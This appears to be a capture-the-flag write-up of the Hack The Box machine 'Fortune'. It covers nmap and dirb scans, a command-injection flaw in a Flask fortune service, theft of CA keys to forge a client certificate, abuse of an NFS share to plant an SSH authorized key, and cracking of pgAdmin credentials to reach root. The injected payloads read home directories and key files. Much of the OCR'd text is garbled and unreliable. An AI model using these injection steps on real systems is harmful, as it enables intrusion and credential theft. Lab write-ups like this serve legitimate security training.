Fortune – 10.10.10.127

Nmap scan:

nmap -SV 
Starting Nmap 7.70 https://nmap.org ) at 2019-04-24 22 
Nmap scan report for 127 
Host is up (O. 0335 latency). 
Not shown: 997 closed ports 
-ON nmap.txt 10.1€.10.127 
PORT 
STATE SERVICE 
22/tcp open ssh 
I ssh-hostkey: 
2048 
VERSION 
openssH 7.9 (protocol 2.0) 
EST 
(RSA) 
256 (ECDSA) 
256 (ED25519) 
OpenBSD httpd 
80/tcp open http 
l_http-server•header: Open3SD httpd 
I http•title: Fortune 
443/ t cp open ssl/https? 
l_ssl •date: ERROR: Script execution failed (use •d to debug) 
No exact os matches for host (If you know what OS is running on it, see https://nmap.orq/submit.' ) . 
TCP/IP fingerprint: 
OS : SCAN (V=7 . 
OS : i 686- pc - 1 inux -gnu ( ) ops ( 
OS : 
OS : ) WIN 
OS : ECN ) Tl ( 
OS ) T? 
OS : IE ( 
Network Distance: 2 hops 
RACEROUTE (using port 3306,'tcp) 
HOP RTM 
ADDRESS 
35.78 ms 10.10. 14.1 
36.97 ms 10.1e.1e.127 
OS and 
Service detection performed. 
Please report any incorrect results at https://nmap.org/submit/

Dirb scan:

dirb http://10.10.10.127/ 
DIRB v2.22 
By The Dark Raver 
START TIME: wed Apr 24 22:32:30 2619 
URL BASE: http://10.10.10.127/ 
ORDLIST FILES: /usr/share/dirb/wordlists/common.txt 
ENERATED WORDS: 4612 
• scanning URL: http://1e.10.1e.127/ 
DIRECTORY: http://10.10.le.127/fortune/ 
http://le.le.10.127/se1ect 
- Entering directory: http://IG.10.10.127/ fortune/ 
http://le.10.10.127/fortune/index.htm1 654) 
ENO TIME: wed Apr 24 22:43:39 2e19

Browsing the site gives us this:

• Fonune 
PIease choose from а database of fortunes: 
о 
о 
о 
о 
fortunes 
fortunes2 
recipes 
startrek 
Subm't

Responses with some generated fortune cookie advise:

Your fortune is: 
I have found little that is about hi—an beings. 
•st of them are trash. 
again! 
In my experience

Let’s try and catch that request, see what we can make out of it

Machine generated alternative text:
Proxy Spider 
Target 
HTTP history 
Intercept 
Scanner Intruder 
WebSockets history 
Repeater 
Options 
Sequencer 
Action 
Decoder 
Compat 
Request to http:no.10.10.127:80 
Forward 
Drop 
tercept is on 
Raw Pa rams Headers Hex 
OST 'select HTTP/I.I 
ost: 10.10.10.127 
ser-Agent: mozi11a/5.o (Xll; Linux 1686; rv:6e.0) Geck0/20100101 Firefox/60.e 
ccept: text/html, application/xhtml•xml, q•O.8 
ccept-Language: en-US, q=O.5 
ccept-Encoding: gzip, deflate 
eferer: http://10. 10.10.127/fortune/ 
ontent-Type: application/x-www-form-urlencoded 
ontent-Length: 12 
onnection: close 
pgrade•lnsecure -Requests: 1 
b=fortunes2

Db=fortunes2…

Send this request to repeater and play with it

Machine generated alternative text:
'OST 'select HTTP/I.I 
{ost: 10.10.10.127 
Jser-Agent: mozi11a/5.o (Xll; Linux 1686; rv:6e.0) Geck0/20100101 Firefox/60.e 
iccept: text/html, application/xhtml•xml, 
en-lJS, q=O.5 
\ccept-Encoding: gzip, deflate 
http://10. 
:ontent-Type: application/x-www- form-urlencoded 
:ontent-Length: 12 
:onnection: close 
Jpg rade•lnsecure -Requests: 1 
ib•fortunes2 
Send to Spider 
Do an active scan 
Send to Intruder 
Send to Repeater 
Send to Sequencer 
Send to Comparer 
Send to Decoder 
Request in browser 
Engagement tools [Pro version only] 
Change request method 
Change body encoding 
copy URL 
Copy as curl command 
Copy to file 
Paste from file 
Save item 
Don't intercept requests 
Do intercept 
Convert selection 
URL-encode as you type 
Cut 
Copy 
Paste 
Message editor help 
proxy interception help 
Ctrl 
ctrl 
Ctrl+V

Gotcha:

Machine generated alternative text:
Request 
Raw Pa rams Headers 
POST 'select HTTP/I.I 
Host: 10. 10.10.127 
Hex 
Response 
Raw Headers Hex HTML 
Your fortune is: 
/var/appsrv/fortune 
•q—O.9, 
Try aqairl 
Render 
User-Agent: Mozilla/5.O (XII; Linux i686; rv:6e.O) 
Gecko/20100101 Firefox/60.o 
Accept: 
text 'html , appli cation/ xhtml•xml , appli cation/ Km , 
8 
Accept-Language: en-US,en: q=O.5 
Accept -Encoding: gzip, deflate 
Referer: http://10.10.10.127/fortune/ 
Content-Type: application/x•www- form-urlencoded 
Content -Length: 12 
Connection: close 
Upgrade -Insecure-Requests: I 
db—nun; pup

Found 3 users:

Machine generated alternative text:
Request 
Raw Params Headers 
POST 'select HTTP/I.I 
Host: 10.10.10.127 
Hex 
Response 
Raw Headers Hex HTML 
Your fortune is: 
bob 
charlie 
nfsuser 
Try aqairl 
Render 
User-Agent: Mozilla/5.O (XII; Linux i686; rv:6e.O) 
Gecko/20100101 Firefox/60.o 
Accept: 
text 'html , appli cation/ xhtml•xml , appli cation/ Km ; 
8 
Accept-Language: 
Accept -Encoding: gzip, deflate 
Referer: http://10.10.10.127/fortune/ 
Content-Type: application/x•www- form-urlencoded 
Content -Length: 29 
Connection: close 
Upg rade - Insecu re - Requests: 
db—nun; cd 
../../../home, 
1

Intresting directories:

Machine generated alternative text:
Request 
Raw Pa rams Headers 
POST /select HTTP/I.I 
Host: 10. 10.10.127 
Hex 
Response 
Raw Headers Hex HTML 
Your fortune is: 
total 88 
Render 
user-Agent: mozi11a/5.o Linux i686; rv:6e.0) Geck0/20100101 
Fi refox/60.O 
Accept: text/html, application/xhtml+xml, x/' 
Accept -Language: en-US,en; q=O.5 
Accept -Encoding: gzip, deflate 
Referer: http.•//10.10.10.127/fortune/ 
Content-Type: application/x-www- form-urlencoded 
Content -Length: 53 
Connection: close 
Upgrade-Insecure-Requests: I 
. ./.. /. ./home/bob/ca/private•} 
db—null; cd 
drwxr-xr-x 4 fortune fortune 512 Feb 3 05:08 . 
drwxr-xr-x 5 root wheel 
512 NOV 2 21:19 .. 
drwxrwxrwx 2 _fortune _ fortune 512 Nov 2 23:39 _pycache 
fortune 341 Nov 2 22:58 fortuned.ini 
1 root 
1 _ fortune _fortune 28011 Apr 24 18:39 fortuned.log 
-rw-rw-rw- 1 _ fortune _fortune 6 Apr 21 21:22 fortuned.pid 
-la; 
cat 
1 root 
drwxr-xr-x 2 root 
1 root 
TryaqaiN 
_fortune 413 Nov 2 22:59 fortuned.py 
_fortune 512 Nov 2 22:57 templates 
_fortune 67 NOV 2 22:59 wsgi.py

Cat fortuned.py:

Machine generated alternative text:
from flask import Flask. request. render_template. abort 
import os 
app = Flask(_name_) 
def fortuned(): 
cmd = 'lusqgames/fortune ' 
dbs = ['fortunes'. 'fortunes2', •recipes', •startrek'. •zippy] 
selection = request.form['db'l 
shell cmd = cmd + selection 
result = os.popen(shell_cmd).read() 
return render_template('display.html'. output=result)

Found a .pem file in bob’s directory:

Request 
POST 
Host: 10.10.10.127 
user-Agent: Linux Gecko,'2øzøe1e1 
Firef0060.O 
Accept: 
Accept 
Accept -Encoding: gzip. deflate 
Referer: http:/,'lO 
Content-type: 
Content-length: 68 
secure• 
pud; Cd IS 
Response 
He 
total 16 
2 bob 
7 bob 
bob 
S 12 
2053 
Re 
Oct 29 20:" . 
Oct 29 20:51 
Oct 29 20:44 c 
BqNvBA"mozv SqCS iQGZvcnR1 
b.tmHRi"84X01 r E LUE 
'Lav 
DbsT 
OHS/u,' ffRUP1q,' 
rvnsnNN. 
zuj 
j ad. f DE r f kun fFSKofF46Zv 
Sq"2HdXZ10v1,' 
rb3reoOGO 
Le0Rtcevd,'o 
R.SdoS bKEBfuHf Sr63E83cz6Rv0Et oynPoq.kSLnB9WSLAOGp10voAPwZsBdNZu 
...END 
bodp
POST 'select 
Host: 10.10.10.12' 
total 
User.Agent: nozitt./5.o cxn; Linux i686; N:60.0J G«ko/20100101 
Firef0060.O 
Accept; 
/ va r/ap / 
2 bob bob 
bob bob 
bob bob 
HTR 
512 Oct 29 20:56 . 
512 Oct . 
2061 Oct 29 1000... 
Accept en•US. 
Accept •Encodlng; 9tip. deflate 
Content •Type; 
Content-Length; 68 
Connection; dose 
db—nut L : Cd IS 
Cat 1000. pen 
IENv1EhuoiErmBYGA1uEA„P 
sod6r„ 
f2bs 
jgoz 
GAgOC1 hbvoyx 
odN 
zhZSFR8/ 
OC \ L9HOSpVOSuAS2kePnSju 
...END

Copied it to our own kali and use the .pem file together with ssh for connection

Tried playing with it but unsuccesful

Tried playing balsier

1000. pem ca pen. txt ful Inmap txt nmap. txt 
root@kati 127* mv ca.pem.txt ca. cert 
root@kati 127* Is
Req 
pa rams Headers 
Hex 
POST 
host; 10.10.10.127 
user-Agent; NoziU.,'s.o Linu, i6e6: rv:6e.e) Geckoneu.exea 
Accept: d 
Accept -Encoding: gzip. def Late 
Referer: http:,'ne_ue.ae_L27,' 
Content-Type: application/ A-uw-for.-urlencoded 
content-Length: 
Connection: close 
upgrade-ansecure-Requests: I 
dbnuLl: cd Is 
openssl 
Response 
Headers 
Re nder 
for a typical intermediate CA 
subject Key Identifier 
hash 
authority"eyrdentifier 
basic Constraints 
critical, CA :true, pathlen:ø 
keyCertSiqn 
usr_c 
for certificates xS09v3_config•). 
s CA:FALSE 
client, 
nscertTvpe 
"34;OpenSSL Generated tertifiQte"34; 
subject"' Identifier h 
authorityKeyIdentifier keyid. 
keyus.ge 
itiQL, nonqepudiation, digital Signture. 
clientAuth, 
for «rtific.tes xS09v3_config•). 
basictonstr.i t 
s - CA:FALSE 
— "34 ; OP"SSL Certifiate•W34; 
subjectKevIdentifier • 
fier 
keyid. 
• c digitatSignature, keyEncipherwt 
extendedeyus.g•e 
for CRIS 
fier•keyid 
Extension for OCS? signing certificates 
basic Constraint. 
subject Key Identifier 
hash 
authority"eyldentifier 
keyid, issuer 
keyus.ge critical, digit.1Sign.ture

Found the intermediate key files. So now the plan is to create own cert and sign it with the intermediate files

Searching forum I found this interesting link

https://www.ibm.com/support/knowledgecenter/en/SSPH29_9.0.1/com.ibm.help.common.infocenter.aps/t_ConvertthepfxCertificatetopemFormat068.html

TODO: next

Plan 2:

Machine generated alternative text:
Request 
Raw Pa rams Headers 
OST /select HTTP/I.I 
ost: 10. 10.10.127 
Hex 
Response 
Raw Headers Hex HTML 
Your fortune is: 
/etc/soii.key 
Target: http:no.10.10.127 
Render 
ser-Agent: Mozilla/5.O (XII; Linux i686; rv:6e.O) 
ecko/20100101 Firefox/60.o 
ccept: 
ext 'html application/xhtmuxml , appli cation/xml ; q•O. 9, 
ccept-Language: en-US,en; q=O.5 
ccept-Encoding: gzip, deflate 
eferer: http://10.10.10.127/ 
ontent-Type: application/x•www- form-urlencoded 
ontent-Length: 46 
onnectlon: close 
pgrade-Insecure-Requests: I 
b=null; find / -name key; cat /etc/soii. key

Found the ca.key file, try copying it

Found the server.crt

https://www.digitalocean.com/community/tutorials/openssl-essentials-working-with-ssl-certificates-private-keys-and-csrsdid

Created the p12 file with the server.crt and the intermediate.key.pem file

Imported that p12 file into firefox and connected to 443 using “https://fortune.htb/

After that we got an rsa to create ssl connection, using that rsa key we got a shell but couldn’t do anything in it.

Last login: Mon May 6 17:58:44 2019 
Hello nfsuser. You are authenticated 
h lep 
h lep 
help 
-help 
.10.10.127* 
from 10.10 
trom host 
ssh •i idvrsa nfsuser@fortune.htb 
_14_14 
•le.1e.14.14"

After some trials and errors decided to enumerate again, started with nmap scan and we saw some different results as before…

We see rpc in open on port 2049 and there are vulnerabilities in it.

22/tcp 
open s sh 
ssh•hostkey: 
OpenSSH 7.9 (protocol 2.0) 
2048 (RSA) 
256 (ECDSA) 
256 (ED25519) 
open http 
80/tcp 
openBSD httpd 
l_http-server-header: OpendSD httpd 
l_http-title: Fortune 
Ill/ t cp open rpcbind 
2 (RPC *loeoee) 
rpcinfo: 
prog ram 
100000 
leoeoo 
100003 
100003 
100005 
100005 
version 
port/ proto 
Ill/tcp 
Ill/udp 
2049,'tcp 
2049/udp 
605/ udp 
690,'tcp 
service 
r pc bind 
rpcbind 
n ts 
nfs 
mountd 
mountd 
443/ t cp open 
ssl/https? 
ssl-date: ERROR: Script execution failed (use 
-d to debug) 
2049/ t cp open n ts 
80B l/ t cp open http 
2-3 (RPC #100063) 
OpenBSD httpd 
http•server•header; OpenBSO httpd 
l_http•title: pgadmin4 
No exact os matches for host (If you know what os is running on it, 
TCP/IP 
see https://nrnap.org/submit/

https://resources.infosecinstitute.com/exploiting-nfs-share/

With the showmount -t fortune.htb we see there is a share ‘home’ accessible for everyone

–> we mount this share into our /mnt direcotry but encounter some problems.

We try accessing this share with root rights. While we have connection in shell with normal user.

Try making normal user and use that account to mount the share.

“`Mount -t nfsuser@fortune.htb:/home -o nolock/mnt“`

We got it and we have access to same directories we had using Burp but we can access Charlies folders too now.

Here we see that there is a file ‘Authorized keys’ and from here we can add our own key so we create an own ssh key with ssh-keygen

Add the .pub output to authorized keys and use the other file to pass along with ssh tag -I

From here we have a shell as charlie and we can access beneath the /home folder too.

Now onto priv esc.

Read access to passwd

Machine generated alternative text:
fortune$ cat passwd 
root Charlie &:/root:/bin/ksh 
daemon:*:1:1:The devil himself: / root: / sbin/nologin 
operator:*:2:5:System 
bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin 
and xenocara 
portmap: : 28 : 28 : portmap : / var/empty : / sbin/nologin 
_ identd: * : 29 : 29 : identd : /var/empty : /sbin/nologin 
rstatd: * : 30: 30: rpc. rstatd: /var/empty : /sbin/nologin 
: 32 : 32: rpc . rusersd: /var/empty : /sbin/nologin 
fingerd : * : 33 : 33: fingerd : /var/empty: /sbin/nologin 
Server:/var/empty: /sbin/nologin 
switchd:*:49:49:Switch Daemon:/var/empty:/sbin/nologin 
traceroute:*:50:50:traceroute privdrop 
_ ping:*:51:51:ping privdrop user:/var/empty:/sbin/nologin 
rebound: 4:52:52: Rebound DNS Daemon:/var/empty:/sbin/nologin 
unbound: * : 53 : 53 :Unbound Daemon: /var/unbound : /sbin/nologin 
dpb:*:54:54:dpb 
build 
pfetch:*:56:56:dpb fetch user: (nonexistent: / sbin/nologin 
pkgfetch:*:57:57:pkg fetch user:/nonexistent:/sbin/nologin 
_pkguntar:*:58:58:pkg untar user:/nonexistent:/sbin/nologin 
: 62:Spam Daemon:/var/empty : /sbin/nologin 
: 68: isakmpd privsep: /var/empty: /sbin/nologin 
73: Sys log Daemon: /var/empty: /sbin/nologin 
_bgpd:*:75: 75 : BGP Daemon: /var/empty:/sbin/nologin 
76: 76: tcpdump privsep : /var/empty: /sbin/nologin 
: DHCP programs:/var/empty:/sbin/nologin 
78:MOP Daemon:/var/empty:/sbin/nologin 
: 79:TFTP Daemon:/var/empty : /sbin/nologin 
rbootd Daemon:/var/empty:/sbin/nologin 
ppp:*:82:82:PPP utilities:/var/empty:/sbin/nologin 
_ntp:*:83:83:NTP Daemon: /var/empty:/sbin/nologin 
_ ftp:*:84 : 84: FTP Daemon: /var/empty: /sbin/nologin 
: 85:OSPF Daemon: /var/empty : /sbin/nologin

Read access to pgAdmin4.db

/ var/apps rv/pgadmi n4/pgadmin4. db 
tortune$ cd /var/apps rv/pgadmin4 
fortunes cat pgadmin4 
cat: pgadmin4: No such file or directory 
fortunes Is 
pgadmin4. db 
pgadmin4. ini sessions 
fortunes cat pgadmin4. 
cat: pgadmin4.: 
NO such file or directory 
'ortuneS cat _db 
storage

Should be a server.db and a user.db

From here we can get encrypted passwords with it’s salts(?)

Decrypt those together and we have the password

python crypto.py 
R3us3.ot.a.P4sswørd11k3th1s? B4D.1D3A! 
kali -'Documents 10. 127*
fortunes 
Password: 
fortune# 
fortune# 
. cache 
root. txt 
fortune* 
su 
cd / root 
. cshrc 
. CVS r C 
cat root. txt 
. login 
.profile .ssh 
335a'7f028788goaea32d64f7ea3aßf8